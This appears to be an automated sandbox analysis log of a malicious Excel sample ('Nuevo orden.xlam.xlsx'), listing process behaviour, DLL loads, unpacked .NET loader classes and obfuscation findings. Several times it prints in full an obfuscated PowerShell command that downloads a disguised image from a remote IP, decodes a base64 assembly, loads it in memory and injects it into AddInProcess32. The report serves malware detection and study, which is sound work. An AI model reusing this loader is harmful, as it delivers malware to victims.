Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: RunPE.pdb source: powershell.exe, 00000006.00000002.475615054.000000000623A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.475615054.00000000061A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.473212454.00000000002B0000.00000004.08000000.00040000.00000000.sdmp
Source: Nuevo orden.xlam.xlsx Initial sample: OLE indicators vbamacros = False

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 6.2.powershell.exe.61e08f4.3.raw.unpack, RunPEE.cs .Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Source: 6.2.powershell.exe.65cd9c4.2.raw.unpack, RunPEE.cs .Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Source: 6.2.powershell.exe.2b0000.0.raw.unpack, RunPEE.cs .Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Obfuscated command line found
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('by6link = EnNhttp://91.92.254.194/imge/new-image_v.jpgEnN; by6webClient ='+' New-Object System.N'+'et.WebClient; tr'+'y { by6downloadedData = b'+'y6webClient.DownloadData(by6link) } catch { Write'+'-H'+'ost EnNFailed To download dat'+'a f'+'rom by6linkEnN -ForegroundColor Red; exit }; if (by6downloadedData -ne by6null) { by6ima'+'geT'+'ext = [System.Text.Encoding]::UTF8.GetString(by6downloadedData); by6star'+'tFlag'+' = EnN<<BASE64_START>>EnN; by6endFlag = EnN<<BASE64_END>>EnN; by6startIndex = by6imageText.IndexOf(by6startFlag); by6endIndex = by6ima'+'geTe'+'xt.I'+'ndexOf(by6en'+'dFlag); if (by6startIndex'+' -ge 0 -and b'+'y6endIndex -gt by6startIndex) { by6st'+'artIndex += by6startFl'+'ag.Length; by6base6'+'4Length = by6endIndex - by6startIndex; by6base64Co'+'mmand = by6imageText.Substring(by6startInd'+'ex, by6ba'+'se64Length); by6commandByt'+'es = [System.Convert]::FromBase6'+'4String(by6base64Command); by6loadedAssembly = [System.Reflection.Assembly]::L'+'oad(by6commandBytes); by6t'+'ype = by6loadedAssembly.GetType(EnNRunPE.HomeEnN); by6method = by6type.GetMethod(EnNVAIEnN).Invoke(by6null, [object'+'[]] (E'+'nNtxt.46esab/841.612.3.291//:ptthEnN , EnNdesativadoEnN , '+'EnNdesativa'+'doEnN , EnNdesativadoEnN,EnNA'+'dd'+'InProcess32EnN,EnNEn'+'N)) } }')-CREPLACE([CHar]98+[CHar]121+[CHar]54),[CHar]36 -rEpLaCe([CHar]69+[CHar]110+[CHar]78),[CHar]39)| iex"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('by6link = EnNhttp://91.92.254.194/imge/new-image_v.jpgEnN; by6webClient ='+' New-Object System.N'+'et.WebClient; tr'+'y { by6downloadedData = b'+'y6webClient.DownloadData(by6link) } catch { Write'+'-H'+'ost EnNFailed To download dat'+'a f'+'rom by6linkEnN -ForegroundColor Red; exit }; if (by6downloadedData -ne by6null) { by6ima'+'geT'+'ext = [System.Text.Encoding]::UTF8.GetString(by6downloadedData); by6star'+'tFlag'+' = EnN<<BASE64_START>>EnN; by6endFlag = EnN<<BASE64_END>>EnN; by6startIndex = by6imageText.IndexOf(by6startFlag); by6endIndex = by6ima'+'geTe'+'xt.I'+'ndexOf(by6en'+'dFlag); if (by6startIndex'+' -ge 0 -and b'+'y6endIndex -gt by6startIndex) { by6st'+'artIndex += by6startFl'+'ag.Length; by6base6'+'4Length = by6endIndex - by6startIndex; by6base64Co'+'mmand = by6imageText.Substring(by6startInd'+'ex, by6ba'+'se64Length); by6commandByt'+'es = [System.Convert]::FromBase6'+'4String(by6base64Command); by6loadedAssembly = [System.Reflection.Assembly]::L'+'oad(by6commandBytes); by6t'+'ype = by6loadedAssembly.GetType(EnNRunPE.HomeEnN); by6method = by6type.GetMethod(EnNVAIEnN).Invoke(by6null, [object'+'[]] (E'+'nNtxt.46esab/841.612.3.291//:ptthEnN , EnNdesativadoEnN , '+'EnNdesativa'+'doEnN , EnNdesativadoEnN,EnNA'+'dd'+'InProcess32EnN,EnNEn'+'N)) } }')-CREPLACE([CHar]98+[CHar]121+[CHar]54),[CHar]36 -rEpLaCe([CHar]69+[CHar]110+[CHar]78),[CHar]39)| iex" Jump to behavior
Suspicious powershell command line found
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('by6link = EnNhttp://91.92.254.194/imge/new-image_v.jpgEnN; by6webClient ='+' New-Object System.N'+'et.WebClient; tr'+'y { by6downloadedData = b'+'y6webClient.DownloadData(by6link) } catch { Write'+'-H'+'ost EnNFailed To download dat'+'a f'+'rom by6linkEnN -ForegroundColor Red; exit }; if (by6downloadedData -ne by6null) { by6ima'+'geT'+'ext = [System.Text.Encoding]::UTF8.GetString(by6downloadedData); by6star'+'tFlag'+' = EnN<<BASE64_START>>EnN; by6endFlag = EnN<<BASE64_END>>EnN; by6startIndex = by6imageText.IndexOf(by6startFlag); by6endIndex = by6ima'+'geTe'+'xt.I'+'ndexOf(by6en'+'dFlag); if (by6startIndex'+' -ge 0 -and b'+'y6endIndex -gt by6startIndex) { by6st'+'artIndex += by6startFl'+'ag.Length; by6base6'+'4Length = by6endIndex - by6startIndex; by6base64Co'+'mmand = by6imageText.Substring(by6startInd'+'ex, by6ba'+'se64Length); by6commandByt'+'es = [System.Convert]::FromBase6'+'4String(by6base64Command); by6loadedAssembly = [System.Reflection.Assembly]::L'+'oad(by6commandBytes); by6t'+'ype = by6loadedAssembly.GetType(EnNRunPE.HomeEnN); by6method = by6type.GetMethod(EnNVAIEnN).Invoke(by6null, [object'+'[]] (E'+'nNtxt.46esab/841.612.3.291//:ptthEnN , EnNdesativadoEnN , '+'EnNdesativa'+'doEnN , EnNdesativadoEnN,EnNA'+'dd'+'InProcess32EnN,EnNEn'+'N)) } }')-CREPLACE([CHar]98+[CHar]121+[CHar]54),[CHar]36 -rEpLaCe([CHar]69+[CHar]110+[CHar]78),[CHar]39)| iex"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('by6link = EnNhttp://91.92.254.194/imge/new-image_v.jpgEnN; by6webClient ='+' New-Object System.N'+'et.WebClient; tr'+'y { by6downloadedData = b'+'y6webClient.DownloadData(by6link) } catch { Write'+'-H'+'ost EnNFailed To download dat'+'a f'+'rom by6linkEnN -ForegroundColor Red; exit }; if (by6downloadedData -ne by6null) { by6ima'+'geT'+'ext = [System.Text.Encoding]::UTF8.GetString(by6downloadedData); by6star'+'tFlag'+' = EnN<<BASE64_START>>EnN; by6endFlag = EnN<<BASE64_END>>EnN; by6startIndex = by6imageText.IndexOf(by6startFlag); by6endIndex = by6ima'+'geTe'+'xt.I'+'ndexOf(by6en'+'dFlag); if (by6startIndex'+' -ge 0 -and b'+'y6endIndex -gt by6startIndex) { by6st'+'artIndex += by6startFl'+'ag.Length; by6base6'+'4Length = by6endIndex - by6startIndex; by6base64Co'+'mmand = by6imageText.Substring(by6startInd'+'ex, by6ba'+'se64Length); by6commandByt'+'es = [System.Convert]::FromBase6'+'4String(by6base64Command); by6loadedAssembly = [System.Reflection.Assembly]::L'+'oad(by6commandBytes); by6t'+'ype = by6loadedAssembly.GetType(EnNRunPE.HomeEnN); by6method = by6type.GetMethod(EnNVAIEnN).Invoke(by6null, [object'+'[]] (E'+'nNtxt.46esab/841.612.3.291//:ptthEnN , EnNdesativadoEnN , '+'EnNdesativa'+'doEnN , EnNdesativadoEnN,EnNA'+'dd'+'InProcess32EnN,EnNEn'+'N)) } }')-CREPLACE([CHar]98+[CHar]121+[CHar]54),[CHar]36 -rEpLaCe([CHar]69+[CHar]110+[CHar]78),[CHar]39)| iex" Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_002D64B7 pushfd ; iretd 6_2_002D64C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_002D257D push ebx; retf 6_2_002D25EA
Source: 6.2.powershell.exe.61e08f4.3.raw.unpack, Home.cs High entropy of concatenated method names: 'VAI', 'ReverseString', 'wj8oxcKQMhWyu3MiMB', 'eL61cEhr3TEsU6jQVJ', 'Xd0LwFzhEBVfQPGGSn', 'rQcd3TTSI6lCVHMl6JH', 'rbJryoTTdjpvdQgZCqq', 'WaP97STAZD9pAa0scHE', 'XMNkWLT7BBsCZiElwGi', 'yaMjewTLB6ko7gsuukK'
Source: 6.2.powershell.exe.61e08f4.3.raw.unpack, RunPEE.cs High entropy of concatenated method names: 'Ande', 'Run3', 'Run4', 'TryRun', 'LoadLibraryA', 'GetProcAddress', 'LoadApi', 'HandleRun', 'rBogTi80hXY4MBxwGs', 'oORNlfqPK7qWaCHWnV'
Source: 6.2.powershell.exe.61e08f4.3.raw.unpack, Class2.cs High entropy of concatenated method names: 'Start', 'sKo86fe9HGSnuwD9Ru', 'jdCsFhaPKJKkHAuFtI', 'ljlkD5QJDjiBlqQVUp', 'KoLdFvvo7Bp3WbpvJo', 'BKD5yIXBRqe4pqYdO2', 'O8M2MxIrcxBqL8Y6kA', 'FIoy5YnpW2lcjrJgZm', 'U7bGgk34FJ6pe9MuuE', 'qgy00q9HW7w1Ngk0MQ'
Source: 6.2.powershell.exe.65cd9c4.2.raw.unpack, Home.cs High entropy of concatenated method names: 'VAI', 'ReverseString', 'wj8oxcKQMhWyu3MiMB', 'eL61cEhr3TEsU6jQVJ', 'Xd0LwFzhEBVfQPGGSn', 'rQcd3TTSI6lCVHMl6JH', 'rbJryoTTdjpvdQgZCqq', 'WaP97STAZD9pAa0scHE', 'XMNkWLT7BBsCZiElwGi', 'yaMjewTLB6ko7gsuukK'
Source: 6.2.powershell.exe.65cd9c4.2.raw.unpack, RunPEE.cs High entropy of concatenated method names: 'Ande', 'Run3', 'Run4', 'TryRun', 'LoadLibraryA', 'GetProcAddress', 'LoadApi', 'HandleRun', 'rBogTi80hXY4MBxwGs', 'oORNlfqPK7qWaCHWnV'
Source: 6.2.powershell.exe.65cd9c4.2.raw.unpack, Class2.cs High entropy of concatenated method names: 'Start', 'sKo86fe9HGSnuwD9Ru', 'jdCsFhaPKJKkHAuFtI', 'ljlkD5QJDjiBlqQVUp', 'KoLdFvvo7Bp3WbpvJo', 'BKD5yIXBRqe4pqYdO2', 'O8M2MxIrcxBqL8Y6kA', 'FIoy5YnpW2lcjrJgZm', 'U7bGgk34FJ6pe9MuuE', 'qgy00q9HW7w1Ngk0MQ'
Source: 6.2.powershell.exe.2b0000.0.raw.unpack, Home.cs High entropy of concatenated method names: 'VAI', 'ReverseString', 'wj8oxcKQMhWyu3MiMB', 'eL61cEhr3TEsU6jQVJ', 'Xd0LwFzhEBVfQPGGSn', 'rQcd3TTSI6lCVHMl6JH', 'rbJryoTTdjpvdQgZCqq', 'WaP97STAZD9pAa0scHE', 'XMNkWLT7BBsCZiElwGi', 'yaMjewTLB6ko7gsuukK'
Source: 6.2.powershell.exe.2b0000.0.raw.unpack, RunPEE.cs High entropy of concatenated method names: 'Ande', 'Run3', 'Run4', 'TryRun', 'LoadLibraryA', 'GetProcAddress', 'LoadApi', 'HandleRun', 'rBogTi80hXY4MBxwGs', 'oORNlfqPK7qWaCHWnV'
Source: 6.2.powershell.exe.2b0000.0.raw.unpack, Class2.cs High entropy of concatenated method names: 'Start', 'sKo86fe9HGSnuwD9Ru', 'jdCsFhaPKJKkHAuFtI', 'ljlkD5QJDjiBlqQVUp', 'KoLdFvvo7Bp3WbpvJo', 'BKD5yIXBRqe4pqYdO2', 'O8M2MxIrcxBqL8Y6kA', 'FIoy5YnpW2lcjrJgZm', 'U7bGgk34FJ6pe9MuuE', 'qgy00q9HW7w1Ngk0MQ'
Contains functionality to download and launch executables
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036205E6 URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_036205E6
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
